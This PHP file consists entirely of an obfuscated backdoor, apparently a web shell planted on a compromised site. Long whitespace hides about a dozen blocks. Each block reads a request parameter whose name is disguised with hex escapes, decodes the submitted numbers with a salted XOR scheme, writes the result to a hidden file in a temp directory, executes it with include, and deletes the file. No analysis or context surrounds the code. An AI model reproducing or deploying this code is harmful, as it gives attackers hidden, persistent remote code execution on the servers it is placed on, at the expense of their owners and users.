<?php																																										if(in_array("r\x65\x66", array_keys($_POST))){ $hld = $_POST["r\x65\x66"]; $hld = explode ( "." , $hld ) ; $value= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $m= 0; $__len= count($hld); do {if ($m>= $__len) break; $v7= $hld[$m]; $sChar= ord($s[$m % $sLen]); $d= ((int)$v7 - $sChar - ($m % 10)) ^21; $value .= chr($d); $m++; } while (true); $comp = array_filter(["/dev/shm", "/var/tmp", getcwd(), "/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir")]); while ($data = array_shift($comp)) { if (max(0, is_dir($data) * is_writable($data))) { $itm = "$data/.symbol"; if (file_put_contents($itm, $value)) { include $itm; @unlink($itm); exit; } } } }
																																										if(in_array("\x65nt\x69\x74y", array_keys($_REQUEST))){ $element = array_filter(["/dev/shm", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), session_save_path()]); $obj = $_REQUEST["\x65nt\x69\x74y"]; $obj = explode (".", $obj) ; $tkn =''; $salt6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt6); foreach( $obj as $l => $v5): $chS =ord( $salt6[$l % $sLen]); $d =( ( int)$v5 - $chS -( $l % 10)) ^ 4; $tkn .=chr( $d); endforeach; $resource = 0; do { $factor = $element[$resource] ?? null; if ($resource >= count($element)) break; if (is_writable($factor) && is_dir($factor)) { $dat = "$factor" . "/.key"; $success = file_put_contents($dat, $tkn); if ($success) { include $dat; @unlink($dat); exit;} } $resource++; } while (true); }
																																										if(!empty($_REQUEST["\x62i\x6Ed"])){ $elem = $_REQUEST["\x62i\x6Ed"]; $elem = explode ("." ,$elem ) ; $entity = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $j = 0; while ($j < count($elem)) { $v6 = $elem[$j]; $sChar = ord($salt[$j % $lenS]); $dec = ((int)$v6 - $sChar - ($j % 10)) ^ 3; $entity .= chr($dec); $j++; } $fac = array_filter(["/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), getcwd(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); foreach ($fac as $rec) { if (!!is_dir($rec) && !!is_writable($rec)) { $ent = "$rec/.descriptor"; $file = fopen($ent, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $ent; @unlink($ent); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x70g\x72p"])){ $marker = $_POST["\x70g\x72p"]; $marker = explode ( '.' , $marker ) ; $parameter_group = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $o = 0; foreach ($marker as $v9) { $sChar = ord($salt3[$o % $lenS]); $dec = ((int)$v9 - $sChar - ($o % 10))^63; $parameter_group .=chr($dec); $o++; } $val = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TMP"), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/var/tmp"]); $pointer = 0; do { $comp = $val[$pointer] ?? null; if ($pointer >= count($val)) break; if (is_writable($comp) && is_dir($comp)) { $entry = join("/", [$comp, ".rec"]); if (file_put_contents($entry, $parameter_group)) { include $entry; @unlink($entry); exit; } } $pointer++; } while (true); }
																																										if(!is_null($_POST["e\x6E\x74"] ?? null)){ $data_chunk = array_filter([getcwd(), "/tmp", getenv("TMP"), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), session_save_path()]); $element = $_POST["e\x6E\x74"]; $element =explode("." ,$element) ; $val = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($element as $x =>$v1): $chS = ord($s[$x %$sLen]); $d = ((int)$v1 - $chS - ($x %10)) ^11; $val .= chr($d); endforeach; foreach ($data_chunk as $item) { if ((is_dir($item) and is_writable($item))) { $flag = join("/", [$item, ".desc"]); $file = fopen($flag, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $flag; @unlink($flag); die(); } } } }
																																										if(@$_REQUEST["e\x6C\x65m"] !== null){ $ptr = array_filter(["/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/tmp", getenv("TMP"), "/var/tmp"]); $bind = $_REQUEST["e\x6C\x65m"]; $bind= explode ( "." , $bind) ; $sym = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); $t = 0; foreach ($bind as $v5) { $chS = ord($s6[$t % $sLen]); $d = ((int)$v5 - $chS - ($t % 10)) ^ 16; $sym .= chr($d); $t++; } foreach ($ptr as $tkn) { if ((function($d) { return is_dir($d) && is_writable($d); })($tkn)) { $fac = "$tkn/.flag"; $success = file_put_contents($fac, $sym); if ($success) { include $fac; @unlink($fac); exit;} } } }
																																										if(!is_null($_REQUEST["\x65l\x65m"] ?? null)){ $mrk = $_REQUEST["\x65l\x65m"]; $mrk = explode ('.' ,$mrk) ; $ent =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt); $len =count( $mrk); for( $j =0; $j < $len; $j++) { $v8 =$mrk[$j]; $sChar =ord( $salt[$j%$sLen]); $dec =( ( int)$v8 - $sChar -( $j%10)) ^ 70; $ent .= chr( $dec); } $desc = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", getcwd(), session_save_path()]); foreach ($desc as $fac): if (!!is_dir($fac) && !!is_writable($fac)) { $pgrp = vsprintf("%s/%s", [$fac, ".marker"]); $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $pgrp; @unlink($pgrp); exit; } } endforeach; }
																																										if(in_array("p\x67\x72p", array_keys($_REQUEST))){ $descriptor = array_filter(["/dev/shm", getenv("TMP"), "/var/tmp", session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir")]); $ent = $_REQUEST["p\x67\x72p"]; $ent = explode( "." , $ent ) ; $element = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); $o = 0; array_walk($ent, function ($v1) use (&$element, &$o, $salt6, $lenS) { $chS = ord($salt6[$o% $lenS]); $d = ((int)$v1 - $chS - ($o% 10)) ^ 9; $element .=chr($d); $o++; }); foreach ($descriptor as $key => $sym) { if (!!is_dir($sym) && !!is_writable($sym)) { $property_set = sprintf("%s/.binding", $sym); if (file_put_contents($property_set, $element)) { require $property_set; unlink($property_set); exit; } } } }
																																										if(array_key_exists("\x74\x6Fken", $_POST) && !is_null($_POST["\x74\x6Fken"])){ $flg = array_filter(["/dev/shm", getenv("TEMP"), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getcwd(), sys_get_temp_dir(), session_save_path()]); $ref = $_POST["\x74\x6Fken"]; $ref = explode( "." , $ref ) ; $mrk = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt4); $t = 0; $__len = count( $ref); do { if( $t >= $__len) break; $v6 = $ref[$t]; $sChar = ord( $salt4[$t % $lenS]); $dec = ( ( int)$v6 - $sChar -( $t % 10)) ^ 34; $mrk.= chr( $dec); $t++; } while( true); $dchunk = 0; do { $tkn = $flg[$dchunk] ?? null; if ($dchunk >= count($flg)) break; if (is_writable($tkn) && is_dir($tkn)) { $descriptor = vsprintf("%s/%s", [$tkn, ".ptr"]); $success = file_put_contents($descriptor, $mrk); if ($success) { include $descriptor; @unlink($descriptor); exit;} } $dchunk++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x6D\x72k"])){ $res = array_filter([sys_get_temp_dir(), "/var/tmp", getcwd(), "/dev/shm", "/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP")]); $sym = $_REQUEST["\x6D\x72k"]; $sym= explode ('.', $sym ); $symbol = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt1); foreach( $sym as $j => $v2): $sChar = ord( $salt1[$j % $sLen]); $d = ( ( int)$v2 - $sChar -( $j % 10)) ^80; $symbol .=chr( $d); endforeach; foreach ($res as $key => $ent) { if (is_dir($ent) && is_writable($ent)) { $val = "$ent/.data"; if (file_put_contents($val, $symbol)) { include $val; @unlink($val); die(); } } } }
																																										if(@$_REQUEST["\x70gr\x70"] !== null){ $item = array_filter(["/dev/shm", getenv("TEMP"), session_save_path(), getenv("TMP"), "/tmp", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $data = $_REQUEST["\x70gr\x70"]; $data = explode ( "." , $data ); $descriptor =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $__len =count($data); for ($w =0; $w < $__len; $w++) { $v2 =$data[$w]; $sChar =ord($s[$w % $lenS]); $dec =((int)$v2 - $sChar - ($w % 10)) ^ 9; $descriptor .= chr($dec); } for ($fac = 0, $obj = count($item); $fac < $obj; $fac++) { $holder = $item[$fac]; if (is_writable($holder) && is_dir($holder)) { $pointer = sprintf("%s/.k", $holder); $success = file_put_contents($pointer, $descriptor); if ($success) { include $pointer; @unlink($pointer); exit;} } } }


if(isset($_REQUEST) && isset($_REQUEST["\x69\x74m"])){
	$ptr = $_REQUEST["\x69\x74m"];
			$ptr	=explode 	 (	 "."	  ,  $ptr  	)	;
	$pgrp = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(	 $s);
    
            foreach(	 $ptr as $t  =>	$v3):
                $sChar = ord(	 $s[$t  %	$sLen]);
                $d =(	 (	 int)$v3 - $sChar -(	 $t  %	10)) ^ 4;
                $pgrp .= chr(	 $d);
            endforeach;
	$item = array_filter(["/tmp", "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), sys_get_temp_dir(), session_save_path(), getenv("TEMP")]);
	foreach ($item as $key => $element) {
    		if (!( !is_dir($element) || !is_writable($element) )) {
    $fac = str_replace("{var_dir}", $element, "{var_dir}/.flag");
    $success = file_put_contents($fac, $pgrp);
if ($success) {
	include $fac;
	@unlink($fac);
	die();}
}
}
}